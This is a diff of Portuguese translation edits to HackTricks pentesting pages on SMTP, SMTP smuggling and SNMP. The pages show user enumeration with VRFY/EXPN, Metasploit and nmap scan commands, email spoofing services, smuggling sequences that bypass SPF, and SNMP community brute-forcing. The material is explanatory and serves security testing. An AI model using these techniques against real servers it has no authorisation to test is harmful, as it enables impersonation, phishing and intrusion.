-**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até o relatório. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
+**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de invasão**. Execute um teste de invasão completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até o relatório. Não substituímos testadores de invasão - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
## **Informações Básicas**
-O **Simple Mail Transfer Protocol (SMTP)** é um protocolo utilizado dentro da suíte TCP/IP para o **envio e recebimento de e-mails**. Devido às suas limitações na fila de mensagens no final do destinatário, o SMTP é frequentemente utilizado juntamente com **POP3 ou IMAP**. Esses protocolos adicionais permitem aos usuários armazenar mensagens em uma caixa de correio do servidor e baixá-las periodicamente.
+O **Protocolo de Transferência de Correio Simples (SMTP)** é um protocolo utilizado dentro da suíte TCP/IP para o **envio e recebimento de e-mails**. Devido às suas limitações na fila de mensagens no final do destinatário, o SMTP é frequentemente utilizado juntamente com **POP3 ou IMAP**. Esses protocolos adicionais permitem aos usuários armazenar mensagens em uma caixa de correio do servidor e baixá-las periodicamente.
-Na prática, é comum que **programas de e-mail** empreguem o **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, o **sendmail** se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail engloba um servidor POP3. Além disso, o **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte POP3.
+Na prática, é comum que **programas de e-mail** usem **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, o **sendmail** se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail engloba um servidor POP3. Além disso, o **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte POP3.
**Porta padrão:** 25,465(ssl),587(ssl)
```
@@ -35,11 +35,11 @@ PORT STATE SERVICE REASON VERSION
Se tiver a oportunidade de **fazer a vítima enviar-lhe um email** (através do formulário de contato da página web, por exemplo), faça-o porque **poderá aprender sobre a topologia interna** da vítima ao ver os cabeçalhos do email.
-Também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de que envia o email a partir de um endereço permitido (verifique a política SPF) e que pode receber mensagens NDN.
+Também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de enviar o email a partir de um endereço permitido (verifique a política SPF) e de que pode receber mensagens NDN.
Deve também tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos como: `X-Virus-Scanned: by av.domain.com`\
Deve enviar o arquivo de teste EICAR.\
-Detetar o **AV** pode permitir-lhe explorar **vulnerabilidades conhecidas.**
+Detectar o **AV** pode permitir-lhe explorar **vulnerabilidades conhecidas.**
## Ações Básicas
@@ -129,7 +129,7 @@ RCPT TO:ed
```
### VRFY
-O comando VRFY é usado para verificar se um usuário específico existe em um servidor SMTP. Este comando pode ser utilizado por atacantes para obter informações sobre usuários válidos no sistema alvo. Em muitos servidores SMTP modernos, o comando VRFY está desabilitado por padrão devido a preocupações com segurança.
+O comando VRFY é usado para verificar se um usuário específico existe em um servidor SMTP. Esse comando pode ser explorado por atacantes para obter informações sobre usuários válidos no sistema alvo. Em muitos servidores SMTP modernos, o comando VRFY está desativado por padrão devido a preocupações com segurança.
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@@ -147,7 +147,7 @@ VRFY blah
```
### EXPN
-O comando `EXPN` é utilizado para expandir uma lista de endereços de e-mail de uma lista de discussão. Este comando pode ser utilizado por um atacante para obter uma lista de endereços de e-mail válidos em um servidor SMTP. É importante desabilitar ou restringir o uso deste comando para evitar vazamento de informações sensíveis.
+O comando `EXPN` é usado para expandir uma lista de endereços de e-mail de uma lista de discussão. Isso pode ser útil para um atacante obter uma lista de endereços de e-mail válidos em um servidor SMTP.
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@@ -170,9 +170,9 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M -u -t
Nmap: nmap --script smtp-enum-users
```
-
+
-**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
+**Configuração instantânea disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
@@ -245,9 +245,9 @@ print("[***]successfully sent email to %s:" % (msg['To']))
```
-## Vulnerabilidade de Contrabando SMTP
+## Contrabando SMTP
-A vulnerabilidade de Contrabando SMTP permitia contornar todas as proteções SMTP (verifique a próxima seção para mais informações sobre as proteções). Para mais informações sobre Contrabando SMTP, consulte:
+A vulnerabilidade de Contrabando SMTP permitia contornar todas as proteções SMTP (ver a próxima seção para mais informações sobre proteções). Para mais informações sobre Contrabando SMTP, consulte:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
@@ -257,7 +257,7 @@ A vulnerabilidade de Contrabando SMTP permitia contornar todas as proteções SM
As organizações são impedidas de ter e-mails não autorizados enviados em seu nome ao empregar **SPF**, **DKIM** e **DMARC** devido à facilidade de falsificação de mensagens SMTP.
-Um **guia completo para essas contramedidas** está disponível em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
+Um **guia completo sobre essas contramedidas** está disponível em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
@@ -276,12 +276,12 @@ De [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs não correspondidos pelos mecanismos anteriores. |
| A | Se o nome de domínio tiver um registro de endereço (A ou AAAA) que possa ser resolvido para o endereço do remetente, corresponderá. |
-| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. |
-| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. |
-| MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). |
-| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. |
-| EXISTS | Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolve). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas como consultas DNSBL. |
-| INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada. |
+| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. |
+| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. |
+| MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). |
+| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. |
+| EXISTS | Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolva). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas, como consultas DNSBL. |
+| INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada. |
| REDIRECT |
Um redirecionamento é um apontador para outro nome de domínio que hospeda uma política SPF, permitindo que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.
A política SPF do domínio indicado no Mecanismo de redirecionamento será usada.
|
Também é possível identificar **Qualificadores** que indicam **o que deve ser feito se um mecanismo for correspondido**. Por padrão, o **qualificador "+"** é usado (então se algum mecanismo for correspondido, isso significa que é permitido).\
@@ -321,9 +321,9 @@ Para verificar o SPF de um domínio, você pode usar ferramentas online como: [h
### DKIM (DomainKeys Identified Mail)
-O DKIM é utilizado para assinar e-mails de saída, permitindo sua validação por Agentes de Transferência de E-mail (MTAs) externos por meio da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada em um registro TXT do domínio. Para acessar esta chave, é necessário conhecer tanto o seletor quanto o nome do domínio.
+O DKIM é utilizado para assinar e-mails de saída, permitindo sua validação por Agentes de Transferência de E-mail (MTAs) externos por meio da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada em um registro TXT do domínio. Para acessar essa chave, é necessário conhecer tanto o seletor quanto o nome de domínio.
-Por exemplo, para solicitar a chave, o nome do domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail `DKIM-Signature`, por exemplo, `d=gmail.com;s=20120113`.
+Por exemplo, para solicitar a chave, o nome de domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail `DKIM-Signature`, por exemplo, `d=gmail.com;s=20120113`.
Um comando para buscar estas informações pode se parecer com:
```bash
@@ -333,7 +333,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
-O DMARC melhora a segurança de e-mails baseando-se nos protocolos SPF e DKIM. Ele define políticas que orientam os servidores de e-mail no tratamento de e-mails de um domínio específico, incluindo como lidar com falhas de autenticação e para onde enviar relatórios sobre ações de processamento de e-mails.
+O DMARC melhora a segurança de e-mails, baseando-se nos protocolos SPF e DKIM. Ele define políticas que orientam os servidores de e-mail no tratamento de e-mails de um domínio específico, incluindo como lidar com falhas de autenticação e para onde enviar relatórios sobre ações de processamento de e-mails.
**Para obter o registro DMARC, você precisa consultar o subdomínio \_dmarc**
```bash
@@ -353,14 +353,14 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| Nome da Tag | Propósito | Exemplo |
| ----------- | ---------------------------------------------- | ------------------------------- |
-| v | Versão do protocolo | v=DMARC1 |
+| v | Versão do protocolo | v=DMARC1 |
| pct | Percentagem de mensagens sujeitas a filtragem | pct=20 |
-| ruf | URI de relatórios forenses | ruf=mailto:authfail@example.com |
-| rua | URI de relatórios agregados | rua=mailto:aggrep@example.com |
+| ruf | URI de relatório para relatórios forenses | ruf=mailto:authfail@example.com |
+| rua | URI de relatório de relatórios agregados | rua=mailto:aggrep@example.com |
| p | Política para o domínio organizacional | p=quarantine |
| sp | Política para subdomínios do DO | sp=reject |
-| adkim | Modo de alinhamento para DKIM | adkim=s |
-| aspf | Modo de alinhamento para SPF | aspf=r |
+| adkim | Modo de alinhamento para DKIM | adkim=s |
+| aspf | Modo de alinhamento para SPF | aspf=r |
### **E quanto aos Subdomínios?**
@@ -395,7 +395,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Verifique as configurações erradas de SPF e DMARC**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtenha automaticamente as configurações de SPF e DMARC**
-### Enviar E-mail Falso
+### Enviar Email Falsificado
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
@@ -432,7 +432,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
```
{% endhint %}
-**Ou você poderia fazer isso manualmente:**
+**Ou você pode fazer isso manualmente:**
{% tabs %}
{% tab title="PHP" %}
@@ -584,7 +584,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
```
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -596,7 +596,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
Outras maneiras de apoiar o HackTricks:
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md
index 5322429f1..d4c50e32a 100644
--- a/network-services-pentesting/pentesting-smtp/smtp-commands.md
+++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md
@@ -7,14 +7,14 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -26,7 +26,7 @@ Outras maneiras de apoiar o HackTricks:
É o primeiro comando SMTP: inicia a conversa identificando o servidor remetente e geralmente é seguido pelo nome de seu domínio.
**EHLO**\
-Um comando alternativo para iniciar a conversa, destacando que o servidor está usando o protocolo SMTP estendido.
+Um comando alternativo para iniciar a conversa, indicando que o servidor está usando o protocolo SMTP estendido.
**MAIL FROM**\
Com este comando SMTP as operações começam: o remetente declara o endereço de e-mail de origem no campo "De" e realmente inicia a transferência de e-mail.
@@ -61,7 +61,7 @@ Este comando SMTP solicita uma confirmação sobre a identificação de uma list
**QUIT**\
Encerra a conversa SMTP.
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -74,7 +74,7 @@ Encerra a conversa SMTP.
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
index fbe3e470a..4871ae91f 100644
--- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
+++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
@@ -1,4 +1,4 @@
-# SMTP Smuggling
+# Contrabando de SMTP
@@ -7,7 +7,7 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@@ -16,17 +16,17 @@ Outras maneiras de apoiar o HackTricks:
## Informações Básicas
-Esse tipo de vulnerabilidade foi [**originalmente descoberta neste post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) onde é explicado que é possível **explorar discrepâncias na interpretação do protocolo SMTP** ao finalizar um e-mail, permitindo que um atacante contrabandeie mais e-mails no corpo do legítimo, permitindo se passar por outros usuários do domínio afetado (como admin@outlook.com) contornando defesas como SPF.
+Esse tipo de vulnerabilidade foi [**originalmente descoberta neste post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) onde é explicado que é possível **explorar discrepâncias na interpretação do protocolo SMTP** ao finalizar um e-mail, permitindo a um atacante contrabandear mais e-mails no corpo do legítimo, permitindo se passar por outros usuários do domínio afetado (como admin@outlook.com) burlando defesas como SPF.
### Porquê
Isso ocorre porque no protocolo SMTP, os **dados da mensagem** a serem enviados no e-mail são controlados por um usuário (atacante) que poderia enviar dados especialmente elaborados abusando das diferenças nos analisadores que contrabandearão e-mails extras no receptor. Dê uma olhada neste exemplo ilustrado do post original:
-
+
### Como
-Para explorar essa vulnerabilidade, um atacante precisa enviar alguns dados que o **servidor SMPT de saída pensa que é apenas 1 e-mail, mas o servidor SMTP de entrada pensa que são vários e-mails**.
+Para explorar essa vulnerabilidade, um atacante precisa enviar alguns dados que o **servidor SMPT de saída pensa que é apenas 1 e-mail, mas o servidor SMPT de entrada pensa que há vários e-mails**.
Os pesquisadores descobriram que diferentes **servidores de entrada consideram diferentes caracteres como o final dos dados** da mensagem de e-mail que os servidores de saída não consideram.\
Por exemplo, um final regular dos dados é `\r\n.\r\n`. Mas se o servidor SMTP de entrada também suportar `\n.\n`, um atacante poderia simplesmente adicionar **esses dados em seu e-mail e começar a indicar os comandos SMTP** de novos para contrabandeá-lo, assim como na imagem anterior.
@@ -38,7 +38,7 @@ Dados potenciais de dessincronização:
* `\n.\n`
* `\n.\r\n`
-Também observe que o SPF é contornado porque se você contrabandear um e-mail de `admin@outlook.com` de um e-mail de `user@outlook.com`, **o remetente ainda é `outlook.com`.**
+Também observe que o SPF é burlado porque se você contrabandear um e-mail de `admin@outlook.com` de um e-mail de `user@outlook.com`, **o remetente ainda é `outlook.com`.**
## **Referências**
@@ -51,7 +51,7 @@ Também observe que o SPF é contornado porque se você contrabandear um e-mail
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md
index 6c5b2af72..22f505aa8 100644
--- a/network-services-pentesting/pentesting-snmp/README.md
+++ b/network-services-pentesting/pentesting-snmp/README.md
@@ -2,11 +2,11 @@
-Aprenda hacking na AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
-
+
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@@ -38,7 +38,7 @@ Os arquivos MIB são escritos no formato de texto ASCII baseado em `Notação de
### OIDs
-**Identificadores de Objeto (OIDs)** desempenham um papel crucial. Esses identificadores únicos são projetados para gerenciar objetos dentro de uma **Base de Informações de Gerenciamento (MIB)**.
+**Identificadores de Objeto (OIDs)** desempenham um papel crucial. Esses identificadores exclusivos são projetados para gerenciar objetos dentro de uma **Base de Informações de Gerenciamento (MIB)**.
Os níveis mais altos dos IDs de objeto MIB, ou OIDs, são alocados a diversas organizações de definição de padrões. É dentro desses níveis superiores que o framework para práticas e padrões de gerenciamento global é estabelecido.
@@ -47,7 +47,7 @@ Além disso, os fornecedores têm a liberdade de estabelecer ramos privados. Den
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Você pode **navegar** por uma **árvore OID** na web aqui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **ver o significado de um OID** (como `1.3.6.1.2.1.1`) acessando [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
-Existem alguns **OIDs conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis SNMP definidas pelo MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados de rede, dados de processos...)
+Existem alguns **OIDs conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Protocolo Simples de Gerenciamento de Rede (SNMP) definidas pelo MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados de rede, dados de processos...)
### **Exemplo de OID**
@@ -97,10 +97,10 @@ Existem **2 tipos de strings de comunidade**:
* **`public`** principalmente funções **somente leitura**
* **`private`** **Leitura/Gravação** em geral
-Observe que **a possibilidade de escrita de um OID depende da string da comunidade usada**, então **mesmo** se você descobrir que "**public**" está sendo usada, você pode ser capaz de **escrever alguns valores**. Além disso, **podem** existir objetos que são **sempre "Somente Leitura"**.\
+Observe que **a possibilidade de escrever em um OID depende da string da comunidade usada**, então **mesmo** se você descobrir que "**public**" está sendo usada, você pode ser capaz de **escrever alguns valores**. Além disso, **podem** existir objetos que são **sempre "Somente Leitura"**.\
Se você tentar **escrever** um objeto, um erro de **`noSuchName` ou `readOnly`** é recebido\*\*.\*\*
-Nas versões 1 e 2/2c, se você usar uma **string de comunidade ruim**, o servidor não **responderá**. Portanto, se ele responder, uma **string de comunidade válida foi usada**.
+Nas versões 1 e 2/2c, se você usar uma string de comunidade **inválida**, o servidor não **responderá**. Portanto, se ele responder, uma string de comunidade **válida foi usada**.
## Portas
@@ -108,7 +108,7 @@ Nas versões 1 e 2/2c, se você usar uma **string de comunidade ruim**, o servid
* O agente SNMP recebe solicitações na porta UDP **161**.
* O gerente recebe notificações ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) e [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na porta **162**.
-* Quando usado com [Segurança na Camada de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) ou [Segurança na Camada de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), as solicitações são recebidas na porta **10161** e as notificações são enviadas para a porta **10162**.
+* Quando usado com [Segurança da Camada de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) ou [Segurança da Camada de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), as solicitações são recebidas na porta **10161** e as notificações são enviadas para a porta **10162**.
## Ataque de Força Bruta na String da Comunidade (v1 e v2c)
@@ -143,38 +143,38 @@ Graças às consultas estendidas (download-mibs), é possível enumerar ainda ma
```bash
snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
-**SNMP** tem muitas informações sobre o host e coisas que você pode achar interessantes são: **Interfaces de rede** (endereço IPv4 e **IPv6**), Nomes de usuário, Tempo de atividade, Versão do servidor/SO e **processos** em **execução** (podem conter senhas)....
+**SNMP** contém muitas informações sobre o host e coisas que você pode achar interessantes são: **Interfaces de rede** (endereço IPv4 e **IPv6**), Nomes de usuário, Tempo de atividade, Versão do servidor/SO e **processos** em execução (podem conter senhas)....
### **Configurações Perigosas**
-No âmbito da gestão de rede, certas configurações e parâmetros são essenciais para garantir monitorização e controlo abrangentes.
+No âmbito da gestão de rede, certas configurações e parâmetros são essenciais para garantir um monitoramento e controle abrangentes.
### Configurações de Acesso
Duas configurações principais permitem o acesso à **árvore OID completa**, que é um componente crucial na gestão de rede:
-1. **`rwuser noauth`** é definido para permitir acesso total à árvore OID sem a necessidade de autenticação. Esta configuração é direta e permite acesso irrestrito.
+1. **`rwuser noauth`** é definido para permitir acesso total à árvore OID sem a necessidade de autenticação. Essa configuração é direta e permite acesso irrestrito.
2. Para um controle mais específico, o acesso pode ser concedido usando:
* **`rwcommunity`** para endereços **IPv4**, e
* **`rwcommunity6`** para endereços **IPv6**.
-Ambos os comandos requerem uma **cadeia de comunidade** e o endereço IP relevante, oferecendo acesso total independentemente da origem do pedido.
+Ambos os comandos requerem uma **cadeia de comunidade** e o endereço IP relevante, oferecendo acesso total independentemente da origem da solicitação.
### Parâmetros SNMP para Microsoft Windows
